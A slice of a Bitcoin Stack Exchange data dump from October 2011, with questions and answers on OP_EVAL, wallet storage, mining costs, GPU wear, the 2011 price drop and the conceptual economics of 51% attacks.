  <row Id="1592" PostTypeId="1" AcceptedAnswerId="1599" CreationDate="2011-10-17T13:34:10.027" Score="8" ViewCount="812" Body="&lt;p&gt;I have been hearing a lot lately about &quot;OP_EVAL&quot;, what is it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin has mentioned it here: &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=201110130938.35014.luke%40dashjr.org&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/mailarchive/forum.php?thread_name=201110130938.35014.luke%40dashjr.org&amp;amp;forum_name=bitcoin-development&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK it's what the military does after an operation...&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="47827" LastEditDate="2023-02-21T19:19:47.573" LastActivityDate="2023-02-21T19:19:47.573" Title="What is op_eval?" Tags="|script|opcodes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1593" PostTypeId="2" ParentId="1063" CreationDate="2011-10-17T14:18:34.433" Score="6" Body="&lt;p&gt;EC2 would be prohibitively expensive to attack bitcoin but would be well suited against so called &quot;GPU unfriendly&quot; block chains.  Against bitcoin EC most likely usage would be to &quot;top off&quot; an attackers hashing power.  If a hypothetical attacker built a massive hashing farm but was slightly short of 51% hashing power the attacker could use EC2 instances to push the attack &quot;over top&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EC2 is ill suited as primary source of an attacker's hashing power because EC2 GPU prices are expensive, the GPU Amazon chose is poorly suited for hashing, and the number of instances is lmited (Amazon only has so many GPU instances). CPU instances are significantly cheaper but they have on average 1/50th the hashing power of average GPU which significantly increases the number of instances necessary to achieve 51% hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For so called &quot;GPU-unfriendly&quot; block chains (litecoin, tenebrix, solidcoin, etc) use of EC2 instances is far more efficient and economical.&lt;/strong&gt;  Since these chains chose to exclude GPUs (a dubious decision) they have in effect removed the performance advantage between the hardware used by honest nodes and the most cost effective hardware available to attackers.  Each honest node is now significantly less powerful (being limited to on average a single CPU) and CPU power (in a variety of forms) is much cheaper and easily accessed by an attacker.  In essence these chains have commoditized the hardware used for hashing and as such left themselves vulnerable because large amounts of CPU hardware can be obtained for very cheap if only needed for a short period of time (like in a 51% attack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the problem exists in all &quot;GPU unfriendly&quot; chains lets take a closer look at one chian, Litecoin.  Litecoin's hashing power is roughly 30MH/s.  To defeat that would require only 6000 Amazon Compute Units (virtual CPU roughly equivelent to a modern 1GHz Xeon CPU).  The largest Amazon instances have 30 compute units.  Thus it would only require 200 of the largest instances or roughly $300 per hour at current prices to achieve 51% of Litecoin's network hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Every other &quot;GPU unfriendly&quot; coin faces the same problem.  By excluding high performance GPU they have made it easier for an attacker to leverage large sources of easily obtained low cost CPU power putting the network at risk&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T15:27:11.377" LastActivityDate="2011-10-17T15:27:11.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1594" PostTypeId="1" CreationDate="2011-10-17T15:21:13.273" Score="1" ViewCount="1147" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1350/is-there-wallet-dat-for-osx&quot;&gt;Is there wallet.dat for OSX?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Upgrading my HD; clean install and I want to copy the wallett etc from old hard drive. What do I need to copy? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-10-17T16:12:54.720" Title="OS X 10.7 - Where is Bitcoin data stored?" Tags="|wallet|mac|" AnswerCount="1" CommentCount="0" ClosedDate="2011-10-17T16:33:47.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="1595" PostTypeId="2" ParentId="1594" CreationDate="2011-10-17T16:02:58.557" Score="1" Body="&lt;p&gt;Bitcoin data on Mac OS X located in ~/Library/Application Support/Bitcoin/ . Just copy the whole folder to the new HDD to use your old wallet and downloaded blockchain with the new copy of Bitcoin client.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-17T16:02:58.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1596" PostTypeId="2" ParentId="1520" CreationDate="2011-10-17T16:11:10.323" Score="5" Body="&lt;p&gt;While not directly a WebCL miner there is a miner which uses OpenCL via  Java Webstart so is accessible to any internet user with Java installed and apropriate hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.BitMinter.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitMinter.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is both a pool and a custom java miner. &#xA;The pool can be used with other miners however the BitMinter miner works only with the BitMinter pool.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T16:59:31.257" LastActivityDate="2011-10-17T16:59:31.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1597" PostTypeId="2" ParentId="1514" CreationDate="2011-10-17T16:49:56.797" Score="0" Body="&lt;p&gt;You can block incomming connections and that would make your client &quot;invisible&quot; on the Bitcoin network however when you would also never receive any transactions related to your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even then when you send a transaction you would make your client visible as it would have to transmit that transaction to at least one peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of work arounds.&#xA;1) Use a web based wallet.  In that instance the IP address of transactions is the web based wallet provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use a VPN proxy.  Maybe companies provide VPN encrypted proxies.  Anyone tracing your transaction would only know it originated at the VPN proxy.  They can't see beyond that back to your original transmission.  You will need to trust whoever is providing the proxy to not keep logs or share data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) (future solution) Someday a company may provide a bitcoin anonymizing service. In essence a low cost VPN proxy for bitcoin transactions.  You would receive blockchain data from the proxy and the proxy would submit transactions to the rest of network.  Obviously in that instance you would need to trust the proxy.  This would work similar to #2 but provide two key advantages.  The cost should be lower since bitcoin doesn't use much bandwidth and since the proxy would be aggregating all transactions from all anonymous clients it would provide some safety in numbers so that even if someone knew you used this service they wouldn't be able to determine which (if any) transactions are yours.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-17T16:49:56.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1598" PostTypeId="2" ParentId="1137" CreationDate="2011-10-17T17:04:09.410" Score="3" Body="&lt;p&gt;While Bitcoin DD% is lower it is a lower % on a larger base.  Converted to a standard unit say USD Bitcoin transactions are a magnitude higher than other coins.  The lower DD% doesn't tell us anything about the nominal amount of transactions but rather the relative days destroyed between currencies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lower DD% simply means that less of the older coins are moving in the bitcoin economy than other economies.  Other economies are much newer thus they don't have very old coins which due to their extreme age can skew the stat donward.    If the oldest SolidCoin miners simply mine and hold they at most can prevent a 14 days from being destroyed.  For early bitcoin miners holding onto a single coin can prevent hundreds of days from being destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for reason why older coins may not have the same velocity as newer coins.  Some of that may be loss.  For a long time bitcoin was worth less than a cent.  Someone with 10,000 coins (a huge sum tody) may not have taken very many precautions against it and lost coins in data losses or system formats.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some early miners may have done it simply for academic reasons rather than any investment and when they stopped they deleted (intentionally or accidentally) their wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the early years of bitcoin there wasn't much value or reason to quickly sell coins.  Now the miner may no longer even be mining and just holding the coins as a speculative investment.  Newer chains usually have an exchange open from day one.  Checking the alternative cryptography forums and exchange chats will indicate a large number of miners aren't mining alt coins for long term appreciation (which would result in low DD%) but instead are quickly selling on exchanges for other currencies including fiat.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-17T17:16:27.330" LastActivityDate="2011-10-17T17:16:27.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1599" PostTypeId="2" ParentId="1592" CreationDate="2011-10-17T18:35:26.720" Score="8" Body="&lt;p&gt;OP_EVAL is a new opcode (operation code) for the Bitcoin block chain scripting language, proposed in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46538.0&quot;&gt;this thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this opcode does is take a binary representation of a script from the data supplied for authorizing use of an output, and add the corresponding script to what is being evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal of this is to create Bitcoin addresses which, to use, require an arbitrary verification scheme, without people sending to that address needing to know what the script is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;killer app&quot; for this is for people who don't want to lose all their bitcoins if their computer is compromised. They will use addresses where coins can only be spent if signatures from two different keys stored on separate devices are provided. Again, this is transparent to others sending to this person, they only need to know the address and not the details of his desired script.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-17T18:35:26.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1600" PostTypeId="1" AcceptedAnswerId="1604" CreationDate="2011-10-17T19:26:51.520" Score="47" ViewCount="108602" Body="&lt;p&gt;On the person's computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On bitcoin.org? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does that information reside that tells others and me how much bitcoins I have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume it can't be on my PC because I could easily hack the file that contains that data and get myself more bitcoins, right?&lt;/p&gt;&#xA;" OwnerUserId="578" LastEditorUserId="5406" LastEditDate="2017-01-04T15:50:57.000" LastActivityDate="2020-09-21T18:26:49.397" Title="Where are the user's bitcoins actually stored?" Tags="|blockchain|wallet|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1601" PostTypeId="2" ParentId="1475" CreationDate="2011-10-17T19:34:57.150" Score="10" Body="&lt;p&gt;Yes, if you have 51% of the network you can reject all other blocks, thus making sure you receive all rewards. The difficulty will adjust to match just your own hashrate, making sure you mine the expected 144 blocks per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, with a clever strategy you can get more than your fair share of block rewards even if you're below 50%. This was discussed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2227.msg30083#msg30083&quot;&gt;here&lt;/a&gt; - for example, with 46% of the hashrate you can get 51.29% of the rewards, assuming the rest of the network is honest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the multi-attacker case, an attacker with more hashrate than the honest network and any other attacker (where every attacker rejects all blocks but his own), will get 100% of the blocks. If there are several attackers at the top, you'll have occasional massive reorgs where one moment one attacker owns all the bitcoins generated since the attack started (if he hasn't spent them), and the next moment another attacker one-ups him and replaces the whole branch with one where he has generated all coins.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-17T19:34:57.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1602" PostTypeId="2" ParentId="1600" CreationDate="2011-10-17T19:38:44.450" Score="6" Body="&lt;p&gt;Your &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;noreferrer&quot;&gt;wallet.dat&lt;/a&gt; contains your keypairs that lets you use your coins. If you lose those, you will lose access to your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual coins, however, are encoded in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Blockchain&quot; rel=&quot;noreferrer&quot;&gt;Blockchain&lt;/a&gt;. Each time you make a payment with your coins, you have to refer to the last time you made such a payment, so everyone can check if you balance is right. When making a payment, you specify both how many coins you are spending and how much coins you have left. If you manipulate your transaction and state a wrong value, people that will check your transaction will know and will reject it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no place the coins are stored as you'd store physical currency. It is more like a bank balance - just a number. But since all transactions are transparent, everyone would know if you are trying to cheat.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="85" LastEditDate="2011-10-17T19:41:39.697" LastActivityDate="2011-10-17T19:41:39.697" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1603" PostTypeId="2" ParentId="1600" CreationDate="2011-10-17T19:45:58.180" Score="3" Body="&lt;p&gt;Information on how many bitcoins belong to each address is stored on a data structure called &quot;the block chain&quot;. A copy of this data exists on every node on the Bitcoin network (that is, every computer which has the Bitcoin client software installed has information about all bitcoins in existence). The block chain follows certain rules that make sure that even if one manages to hack most of the stored copies of it, he'll be unable to credit himself with more coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information required to grant you access to the bitcoins owned by your addresses, is stored in the wallet.dat file on your computer. Stealing an unencrypted version of it allows stealing your coins, so it should be guarded (a wallet encryption feature has been recently added to the client, and even better security features are in the works).&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-10-17T19:51:33.807" LastActivityDate="2011-10-17T19:51:33.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1604" PostTypeId="2" ParentId="1600" CreationDate="2011-10-17T19:46:25.993" Score="59" Body="&lt;p&gt;It seems like what's called for here is a basic explanation of two of Bitcoin's big concepts: the wallet and the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &quot;wallet&quot; is a collection of ECDSA keypairs. For those not familiar with cryptography, a keypair consists of a &quot;public key&quot; and a &quot;private key&quot; which can be used to encrypt or sign bits of data. The public key, as the name suggests, is known to everyone and can be used to encrypt messages in such a way that the holder of the private key alone may decrypt them. The private key may also be used to sign messages in such a way that anyone holding the public key may verify that the message truly came from you. Every Bitcoin address consists of such a keypair - the &quot;address&quot; you send people is the public half and the private half resides in your wallet.dat file.&lt;/li&gt;&#xA;&lt;li&gt;The &quot;blockchain&quot; is a constantly growing database of transaction information which is sent out to all nodes in the Bitcoin network. When you perform a transaction, that transaction is distributed to the network and assuming the transaction is valid, will be included in the next &quot;block.&quot; This is where the coins themselves are stored. When you initiate a transaction, all previous transactions to or from that address are scanned and a balance is calculated. If your transaction exceeds this available balance, it will be rejected by the network and will not be included in a block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's also important to note that the blockchain technically doesn't store &quot;coins&quot; it stores transaction information. The coins themselves are not discrete things which need storage - when coins are mined the miner's balance is credited via a &quot;generate&quot; transaction which adds to his or her available balance. When coins are sent from A to B, that transaction subtracts from A's balance and adds to B's balance. This is similar to the way that your employer may, via EFT, send &quot;money&quot; to your bank and you can use your debit card to spend that &quot;money&quot; in a store, all without anyone ever seeing a discrete physical dollar bill. Most money in the world today exists merely as transaction histories and balances - Bitcoin is no exception.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-17T19:46:25.993" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostTypeId="2" ParentId="1600" CreationDate="2011-10-17T19:46:35.940" Score="14" Body="&lt;p&gt;The information is split. Some information is stored on your PC in the wallet file. Some information is stored in the public &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#Block-chain_and_confirmations&quot; rel=&quot;noreferrer&quot;&gt;blockchain&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stored in your wallet file is the list of accounts that you control and the secret key needed to spend coins sent to those accounts. Stored in the public blockchain (held on every computer running the Bitcoin client) is the record of every transaction ever made, including any transactions that sent you coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you wish to spend your coins, you check the blockchain to find unspent coins sent to you (or mined by you). You compose a &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;noreferrer&quot;&gt;transaction&lt;/a&gt; that specifies which unspent coins in the block chain you wish to spend and what account(s) you wish to send those coins to. You can return any 'change' to an account you control. You use the keys in your wallet to sign the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then broadcast that transaction to miners. They confirm that your transaction is valid, making sure it spends only coins that exist, are unspent, and that it has the proper signatures. They make sure that the number of coins coming out of the transaction is less than or equal to the number of coins claimed by the transaction. They then commit that transaction into a new block linked into the hash chain, and the transfer is complete.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-17T21:23:47.260" LastActivityDate="2011-10-17T21:23:47.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1606" PostTypeId="1" CreationDate="2011-10-17T19:55:19.833" Score="7" ViewCount="1157" Body="&lt;p&gt;Can we find an algorithm to compute the average price (as energy consumption) of 1 BTC being generated if we know: hash rate, difficulty, energy price?&lt;/p&gt;&#xA;" OwnerUserId="580" LastEditorUserId="5406" LastEditDate="2016-02-02T09:51:36.167" LastActivityDate="2016-02-02T09:51:36.167" Title="World-wide price for generating 1BTC" Tags="|mining-profitability|energy-consumption|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1607" PostTypeId="2" ParentId="1517" CreationDate="2011-10-17T20:35:56.573" Score="4" Body="&lt;p&gt;This problem becomes alot simpler, and does lend itself to a bitcoin framework, if you realize one thing. your point (2) that requires anonymity is actually useless. voting does not require anonymity. it is an arbitrary requirement that has created a security theatre, albeit one for encouraging more people to participate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we live in the 21st century. if one can not stand by their vote, i question their motives. fear lynching? i highly doubt that will be possible with online voting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eliminate the anonymity and you have yourself a very solvable problem. 2012 is coming, AND I WILL BE VOTING FOR RON PAUL, one way or another...&lt;/p&gt;&#xA;" OwnerUserId="582" LastActivityDate="2011-10-17T20:35:56.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1608" PostTypeId="2" ParentId="1606" CreationDate="2011-10-17T20:39:23.633" Score="3" Body="&lt;p&gt;As Bitcoin mining is very heterogeneous (that is, a lot of people use a wide variety of hardware), figuring this out would be really hard without the use of polling (as in, asking people questions, not long polling). One would need to get some statistical data on what hardware people have, how much they spend on electricity, and how much hashpower they have, not to mention how much they mine each day. Having all that, we could average it out and calculate something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check how much your coin costs you, check out my calculator: &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-17T20:39:23.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostTypeId="2" ParentId="1606" CreationDate="2011-10-17T21:25:39.633" Score="7" Body="&lt;p&gt;The parameters you need to calculate this are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E - the mining efficiency, measured in MHash/J. Data on this for various hardware is available in &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot;&gt;Mining hardware comparison&lt;/a&gt; (though this take into account only the card's power and not of the system it is in). Or you can calculate it for a given system by dividing the total hashrate (in MHash/s) by the power consumed (in W).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c - the cost of electricity, measured in $/KWh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B - the bitcoin reward per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D - the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cost to generate 1 BTC is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c*D/(838*B*E)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if E=2, c=0.1, B=50 and D=1,500,000, this is&#xA;0.1*1500000/(838*50*2) = $1.79&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 838 &quot;magic number&quot; comes from the various unit conversion factors - 2^32 hashes per difficulty-1 hash, 3,600,000 Joules per Kilowatt-hour, 1,000,000 Hashes per MHash.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-10-17T21:25:39.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1610" PostTypeId="2" ParentId="1606" CreationDate="2011-10-17T21:52:51.093" Score="0" Body="&lt;p&gt;As Meni Rosenfeld example indicates you can estimate the cost per coin for an individual system given you know the hashing hardware efficiency and electrical cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no way to estimate this for entire global network as hashing hardware and energy costs estimates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could use geo-location to determine the physical location from the IP of generating block and if you had a database of energy costs (even estimate per country) could get energy cost per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One extra complexity is that currently about 92% of blocks are created by pools so you will get the pool's IP address not the actual miner.  Pool's can have miners from all over the world making it difficult to estimate cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to calculate this in real time however you would need the support of miners, miner software developers, and pool operators.  OpenCL library allows a miner software to query device name.  If miner's returned that data to the pool operators could see what hardware is being used in realtime.  If pool operators shared that data you could get an aggregate of global hardware distribution giving you the aproximate global efficiency.  With that you could use data on geolocation of nodes to aproximate average energy cost and thus determine global production price per coin.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-17T21:52:51.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1611" PostTypeId="2" ParentId="1600" CreationDate="2011-10-17T22:03:25.727" Score="12" Body="&lt;p&gt;Your coins are stored in addresses in the block chain.  Thus your coins and my coins and everyone's coins are stored in every computer which makes up the Bitcoin network.  The block chain contains every address in use, and every one that has ever been used along with how many coins are currently at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is why hacking your own client or wallet.dat isn't useful.  Your coins aren't there they are everywhere.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can lookup any of your (or anyone elses) addresses here and see the current value.&#xA;&lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;noreferrer&quot;&gt;http://blockexplorer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So what keeps other people from spending YOUR coins?&lt;/strong&gt;&lt;br&gt;&#xA;Spending Bitcoins is to create a transaction moving it from one address to another.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a transaction requires that you cryptographically sign the transaction with the private key of the address containing the coins (the public key).  Since there is a mathematical relationship between public &amp;amp; private keys the rest of bitcoin network can verify that the transaction is properly signed.  The &quot;coins&quot; (technically public key addresses and their current value) can be seen by anyone but those coins can only be moved by the persons in possession of the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet.dat file contains all your public private key pairs.  Anyone in possession of you wall.dat file (and encryption passphrase) can sign transactions as the owner of those public addresses and thus has control over the coins.  This highlights why you must always safeguard your wallet.dat and encryption passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method of storing value is unique to Bitcoin (and subsequent copycat coins).&#xA;To sum it up in a pair of sentences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your coins are stored in addresses (public keys), copies are made public and included in every node of the bitcoin network.  However the security of those coins are ensured because only the person in possession of the matching private key can create a valid transaction to move them.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-18T12:48:23.290" LastActivityDate="2011-10-18T12:48:23.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostTypeId="1" AcceptedAnswerId="1614" CreationDate="2011-10-17T22:51:14.603" Score="19" ViewCount="170118" Body="&lt;p&gt;I have been mining Bitcoin for a while on a few systems, some CPU mining (which has proved to be basically useless) and some GPU mining. The GPU miners are workstations, which have midrange graphics cards built in. I have not done any modifications or built high-end mining/gaming systems. One is an Apple iMac with an AMD Radeon HD 6770M 512 MB built in. I typically mine with the Phoenix miner and &lt;code&gt;AGGRESSION=3&lt;/code&gt; for at least 12 hours a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the GPU handle this load, or is it possible I will damage my computer by mining bitcoins without a dedicated high-end GPU?&lt;/p&gt;&#xA;" OwnerUserId="583" LastEditorUserId="5406" LastEditDate="2016-02-15T17:58:51.163" LastActivityDate="2019-02-22T04:52:56.020" Title="Can I damage my computer by mining bitcoin?" Tags="|mining-hardware|gpu-mining|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1613" PostTypeId="1" AcceptedAnswerId="1615" CreationDate="2011-10-17T22:58:35.450" Score="11" ViewCount="709" Body="&lt;p&gt;In July 2011, 1 BTC was trading at above $10 USD. By September, the price of 1 BTC had fallen over 50%, and at the time of writing (October 2011) 1 BTC is trading around $2.50 - $3.00 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinpool.com/forum/viewtopic.php?f=9&amp;amp;t=786&quot;&gt;In a forum thread&lt;/a&gt; one of the pool operators for bitcoinpool claims this is due to some bot forcing the prices down:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fairuser detected a buy/sell bot on the better portion of exchanges&#xA;  (currently, only Bitmarket (EUR) seems unaffected) that is&#xA;  consistently keeping the value of BTC low while it's generating tens&#xA;  of thousands of dollars worth of transactions across the exchanges at&#xA;  a profit of 2 - 40 cents per transaction. We're still unsure if it's&#xA;  intentionally dropping the price, or if it's just a side-effect of the&#xA;  way the bot is designed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Either way, the bot is entirely responsible for the price drop from&#xA;  $10 USD to $5 USD.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any evidence of such a phenomenon, and if so, what could be done to stop it?&lt;/p&gt;&#xA;" OwnerUserId="583" LastEditorUserId="105" LastEditDate="2011-10-21T18:44:03.620" LastActivityDate="2011-10-29T22:36:47.827" Title="Could the price drop between July and September 2011 have been caused by a bot?" Tags="|exchanges|value|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1614" PostTypeId="2" ParentId="1612" CreationDate="2011-10-17T23:11:58.483" Score="17" Body="&lt;p&gt;It is possible to damage your computer by mining in the following ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the computer will degrade more, as it is used more (you will have to replace it sooner than normally)&lt;/li&gt;&#xA;&lt;li&gt;the computer will overheat and some components will fail because of that (if for example, the computer is dusty. If the parts are well-maintained and the computer is not boxed in, this shouldn't be the issue)&lt;/li&gt;&#xA;&lt;li&gt;you will overload some part of your computer with the mining and it will short circuit or blow a fuse (mostly relevant if your power supply is weak, this happened to me once)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Number 3 you should notice quite fast if you run your miner at top speed, full load. If you are already mining, this probably won't happen unless you increase your load, or are operating close to the limit of your hardware. If something flashes, smokes, or the computer doesn't turn on any more, this was probably the cause. Replace hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 2 you should notice if you run your miner for about an hour, once everything heats up well. Again, if you are already mining and this doesn't happen, it probably won't if you keep your computer clean and give it some air. If your computer turns off suddenly, but runs fine after cooling down, this probably was the cause. Clean your computer chassis, possibly add some fans or replace hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 1 you won't notice for months or years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining with lower-end GPU should be fine in all the regards, asides maybe 1 (leaving your computer on for longer to mine will ear it down more). Usually it means you won't use as much power and generate as much heat, so you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-10-17T23:11:58.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1615" PostTypeId="2" ParentId="1613" CreationDate="2011-10-17T23:55:22.030" Score="12" Body="&lt;p&gt;Since the bot exists, and the people who wrote it presumably wish it to perform every transaction it performs, it reflects real supply and real demand. Why would you want to stop it? There is nothing inherently good about a high price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I think the drop in value was due to the bursting of a speculative bubble. The price was previously kept high due to press attention that made people think Bitcoins might be a good investment. As soon as everyone who was going to be brought in by the hype was brought in, the demand started to drop. This caused a small price slide, which induced a lot of panic selling from people who thought the speculative rise would continue forever. Once the price starts dropping at the end of such a bubble, more and more people try to sell out to minimize their losses. Once everyone who expected a short-term profit sells out, the price stabilizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're now back at that relatively stable floor, waiting for the next hype cycle to start another speculative bubble. Until Bitcoin's price is driven by its use as a real medium of exchange, this pattern is likely to repeat over and over.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-18T16:37:30.217" LastActivityDate="2011-10-18T16:37:30.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
